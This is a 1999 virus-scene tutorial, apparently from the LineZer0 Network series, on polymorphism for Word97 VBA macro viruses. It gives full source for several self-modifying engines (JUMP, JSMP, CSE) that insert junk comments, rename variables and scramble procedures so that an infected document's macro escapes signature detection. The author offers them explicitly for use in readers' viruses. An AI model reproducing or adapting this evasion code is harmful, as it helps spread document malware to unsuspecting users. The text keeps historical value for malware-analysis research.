Tutorials - A Phreaky Macro Primer 0.1


ivanlef0u.fr/repo/madchat/vxdevl/vdat/tujack12.htm

```
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-[LineZer0 Network 99]=-=
                                                       ?    ?    ?
                                                         ?  ____
                                                           /    \ ?
      A phreaky macro primer v0.1                      ?  / \ _  \  ?
      .by jackie / Metaphase                             ( .o o.  ) ___
                                                       __/   ^    \/   \
                                                      /  \___o____      \
=-=[ Polymorphism ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
```

.Introduction to polymorphism
.Polymorphic technics
.Using polymorphism

[Music]

.Earth Crisis .Destroy the machines
.Nailbomb .Commercial suicide
.Incubus .S.C.i.E.N.C.E.

.Introduction to Polymorphism

Ever heard of polymorphism? If yes forget ever heard about it , because macro polymorphism is different to asm polymorphism. First of all polymorph ism means many various stages. That means that your virus will look dif- fernent every infection. You can do this by adding comments and lines to your code, exchanging module or variable names, adding senseless commands etc, etc. A lot of engines were coded but more or less they are all a lack of creativity or are just lack copies. The first known for Word97 was APMRS by Pyro (great work man). After that Mr. Vic came out with VSMP, which was used in Class.Poppy too. Well, let us forget about the past and see what we can do for our poly macro.

.Polymorphism technics

The first technic we gonna take a look at is the adding of comments and junk code between the real viral code.We can access our virus code by using the following VBA commands.

```
Object.VBProject.VBComponents(1).CodeModule
```

Now we have a few commands we can use for our polymorphism technic.

```
.DeleteLines (startline [, count])
```

This deletes a lines in our code. If you don't specify the count parameter, one line gets deleted. We can use this to delete junkcode.

```
.InsertLines (line, code)
```

Inserts a line or lines of code at a specified location in a block of code. We can use this to insert junkcode, etc

.ReplaceLine(line, code)

Replaces an existing line of code with a specified line of code. We can use this to replace old code, etc.

.Lines(startline, count)

Returns a specified line of code into a string. We can use this to get our viral code into a variable.

.CountOfLines

Returns the actual number of lines. Useful if you want to control the size of your virus.

Ok, I here you have a basic lame example of a polymorphic routine which inserts random junk comments. Btw, it is selfthinking, because it deletes random junk if the size of the virus is grown too big.

---[code starts here]---

```
Private Sub PhreakyShittyPolyExample()
 On Error Resume Next: Randomize
 Set OurPoly = ThisDocument.VBProject.VBComponents(1).CodeModule
 If OurPoly.CountOfLines > 100 Then
  For TheLine = 1 To OurPoly.CountOfLines
   If Left(OurPoly.Lines(TheLine, 1), 1) = Chr(39) Then _
    OurPoly.DeleteLines TheLine
  Next
 Else
  For PolyMorphic = 1 To Int(Rnd * 20) + 1
   For SomeString = 1 To Int(Rnd * 39) + 1
    PolyString = PolyString & Chr(65 + Int(Rnd * 22)) _
     & Chr(122 - Int(Rnd * 22))
   Next
   OurPoly.InsertLines Int(Rnd * OurPoly.CountOfLines) + 1, _
    Chr(39) & PolyString
   PolyString = ""
  Next
 End If
End Sub
```

---[code ends here]---

Looks simple, doesn't it? Did you understand what it does? Well, I will walk through the code anyway.

```
-------------------------------------------------------------------------
Private Sub PhreakyShittyPolyExample()
 On Error Resume Next: Randomize
 Set OurPoly = ThisDocument.VBProject.VBComponents(1).CodeModule
-------------------------------------------------------------------------
```

Of course it the sub first. ;) Then we catch all possible errors by using our well known command. Next command 'Randomize' is very important for a poly engine because everything is based on random numbers etc. This command enables better random numbers. After that we set an object containing the current codemodule we are in.

```
---------------------------------------------------------------------------
If OurPoly.CountOfLines > 100 Then
 For TheLine = 1 To OurPoly.CountOfLines
  If Left(OurPoly.Lines(TheLine, 1), 1) = Chr(39) Then _
   OurPoly.DeleteLines TheLine
 Next
Else
---------------------------------------------------------------------------
```

First off all we check if the number of viral lines in our code isn't bigger than 100, if not run the next routine, else run this one. Ok, we create a basic for - next loop through all the lines in the code, then we check if the line is a comment, and if so we delete it.

```
---------------------------------------------------------------------------
For PolyMorphic = 1 To Int(Rnd * 20) + 1
 For SomeString = 1 To Int(Rnd * 39) + 1
  PolyString = PolyString & Chr(65 + Int(Rnd * 22)) _
   & Chr(122 - Int(Rnd * 22))
 Next
 OurPoly.InsertLines Int(Rnd * OurPoly.CountOfLines) + 1, _
  Chr(39) & PolyString
 PolyString = ""
Next
---------------------------------------------------------------------------
```

Here we have the brain of the polymorphic engine. All what's done here, is based on random numbers. Ok, first we create a for-next loop which can be of random length between 1 and 20. After that we set the random size of the junk comment we want to insert. It can be from 1 to 39 units long. As you can see, a unit is two characters. We insert the random junk comment in a random line within the number of actual lines of code. Next we clear the string variable and jump to the next run of this loop.

```
---------------------------------------------------------------------------
 End If
End Sub
---------------------------------------------------------------------------
```

Ehm...do you need this explained?

I really thought about writing more about how to create your own polymorphic engine for macros, but I came to the point that there are a lot of engines written and all others would be lack copies of existing ones. And I came to the other point to include some nice engines here, which already exist and which you can use in your macro, but never forget to give credits to the original authors.

.Using polymorphism

Ok, welcome to my collection of polymorphic engines. First of all we're going start with JUMP, which is the shortcut for 'jackie's Ugly Macro Poly' which was my first released poly engine with a sense. ;) This engine adds random lines of junk between and behind the codelines, it also checks the actual size of the virus, which can be random set. I will give you a copy here, feel very free to use it in your macro virus, but never forget your credits if you use stuff that you didn't coded.

```
JUMP aka jackie's Ugly Macro Poly v0.3
Insert random junk, size checking
(c) 99 jackie

---[ code starts here ]---------------------------------------------------

 Private Function jump() '
 Dim jv(200): js = 100 + Int(Rnd * 100): jchr = Chr(39) '
 With ThisDocument.VBProject.VBComponents(1).CodeModule '
 For jl = 1 To .CountOfLines '
 jc = "": jr = Int(Rnd * 3): jm = 1: jm = InStr(.Lines(jl, 1), jchr) '
 If jm <> 1 And .CountOfLines < js Then '
 For jp = 1 To Int(75 - (Rnd * 20)): jc = jc _
  & Chr(255 - Int(Rnd * 100)): Next '
 jv(jl) = Left(.Lines(jl, 1), (jm - 1)): jv(jl) = jv(jl) & jchr & jc '
 If jr = 2 Then jv(jl) = jv(jl) & vbCr & jchr & jc '
 jump = jump & jv(jl) & vbCr '
 End If '
 Next: End With '
 End Function '

---[ code ends here ]-----------------------------------------------------
```

To use this in your bug, just put a comment character (') behind every line of code and call it through a variable so all viral code will be saved into this variable, poly added of course. Example:

```
 OurCode = jump
```

The whole code will be saved into the variable 'OurCode'.

Heh, I won't explain this code here, because if you want a effect like that, then use this one. Do not rewrite this shit, because it's already written. Btw, this method is old, but effective, sometimes. ;) Well, now we gonna talk about a better method. Spotlight on exchanging variable names.

I wrote a nice engine that exchanges variable names as I wanted to include VAMP (Vic's Advanced Macro Poly) in one of my creations and found out with tears that it didn't werk for my purpose, because VAMP isn't able to change some variables in it own code and isn't able to handle variables which are situtated twice in one line. So I sat down and coded a completly a engine that exchanges your variable names, but with a completly different

technic than VAMP does. JSMP was born.

```
JSMP aka jackie's Stupid Macro Poly v0.4
Very fast variableexchanging function, exchanges ALL variable names
(c) 99 jackie

---[ code starts here ]------------------------------------------------------

Private Function jsmp(joc)
jav = "jsmp joc jav jvl jnv jvp jcv "
Do
jcv = Left(jav, InStr(jav, Chr(32)) - 1): jav = Mid(jav, InStr(jav, Chr(32)) + 1)
jnv = Chr((Int(Rnd * 74) + 130)) & Chr((Int(Rnd * 74) + 130)) & Chr((Int(Rnd * 74) +
130)) & Chr((Int(Rnd * 74) + 130)) & Chr((Int(Rnd * 74) + 130)) & Chr((Int(Rnd * 74)
+
130))
Do
jvp = InStr(jvp + 1, lcase(joc), lcase(jcv))
If jvp Then joc = Mid(joc, 1, (jvp - 1)) & jnv & Mid(joc, (jvp + Len(jcv)))
Loop While jvp
Loop While jav <> ""
jsmp = joc
End Function 'jackie's stupid macro poly v0.4

---[ code ends here ]--------------------------------------------------------
```

To use this shit in your bug just make a variable in your code were you save the new code. As example

```
Code = jsmp(ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 23)
```

Ahhh, what I completly forgot is to tell you how to add your own variable names. Well, my friend, the answer is simple. Just look at the following line.

```
jav = "jsmp joc jav jvl jnv jvp jcv "
```

That's the variable where we store our variable names to exchange. Just add here your variable names, ie if one of your variable names is 'Idiot', then you just add it like this. (Remember to make a space (" ") in the end)

```
jav = "jsmp joc jav jvl jnv jvp jcv idiot "
```

Just add as many variables as you want, btw, they must be somewhere in your code. Feel free to use this engine in your code. You will see, it does phreaky changes. ;) Last but not least I am gonna give you here the latest work I did in the sector of polymorphism. It is called CSE, short-cut for the ' Co0kie Scramble Engine '. It has that name because it was used in my 'co0kie' virus. The purpose of this engine is to scramble the position of your subs and function within the code. Ok, talked enough, here it is.

```
CSE aka Co0kie Scramble Engine v0.666
Scrambles all procedures within the code
```

(c) 2000 jackie

---[code starts here]---

```
Private Function co0kie(co0kielines, co0kieprocs)
Dim co0kie22(99), co0kie23(99)
Set ourco0kie = ThisDocument.VBProject.vbcomponents(1).codemodule
For i = 1 To co0kielines
curco0kie = tmpco0kie: tmpco0kie = ourco0kie.ProcOfLine(i, 1)
If curco0kie <> tmpco0kie Then y = y + 1
co0kie22(y) = co0kie22(y) & ourco0kie.lines(i, 1) & vbCr
Next
For x = 1 To co0kieprocs
co0kie22(x) = Left(co0kie22(x), Len(co0kie22(x)) - 1)
c22 = 0: c23 = 0: c24 = Int(Rnd * (co0kieprocs - x) + 1)
While c22 < c24
If co0kie23(c23 + 1) = "" Then c22 = c22 + 1
c23 = c23 + 1
Wend
co0kie23(c23) = x
Next
For i = 1 To co0kieprocs: co0kie = co0kie & co0kie22(co0kie23(i)) & vbCr: Next
co0kie = Left(co0kie, Len(co0kie) - 1)
End Function
```

---[code ends here]---

This function returns you the scrambled virus code. Just call the function with two parameters, one is the number of lines and the second one is the number of procedures you have within your code (subs, function, etc).

```
OurCode = co0kie(100, 5)
```

This would but the scrambled code into the variable 'OurCode', the code in this example has 100 lines and 5 procedures. Easy, isn't it? Well, we have reached the end of my issue about polymorphism, and last but not least I will talk about the finest poly stuff I can think of. Ok, what I am talking about it the line changing stuff. If you don't know what I mean just take a look at my Obsolete virus in the appendix. First of all you have to write each line of code in this style.

```
A_Label: <Command>: GoTo Some_Label
Some_Label: <Command>: Goto Another_Label
Another_Label: <Command>: Goto Our_Label
Our_Label: <Command>: Goto I_don't_care
```

After the virus ran it should look like that.

```
Some_Label: <Command>: Goto Another_Label
Our_Label: <Command>: Goto I_don't_care
A_Label: <Command>: GoTo Some_Label
Another_Label: <Command>: Goto Our_Label
```

Or something similar. The purpose is to scramble the lines. It's a very special technic, only Virtual Life and me worked on it until now. ;) So get your head up high and code something. ;) So, what I can just tell you, try to werk out some line scrambling poly stuff, only two viruses and two technics were written, by vl and me. So get your head werking and werk on some tech like this. That's all I wanna say about this...catch y'all around.

-End Of Part #12-

=-=[EOF]=-=[LineZer0 Network 99]=-=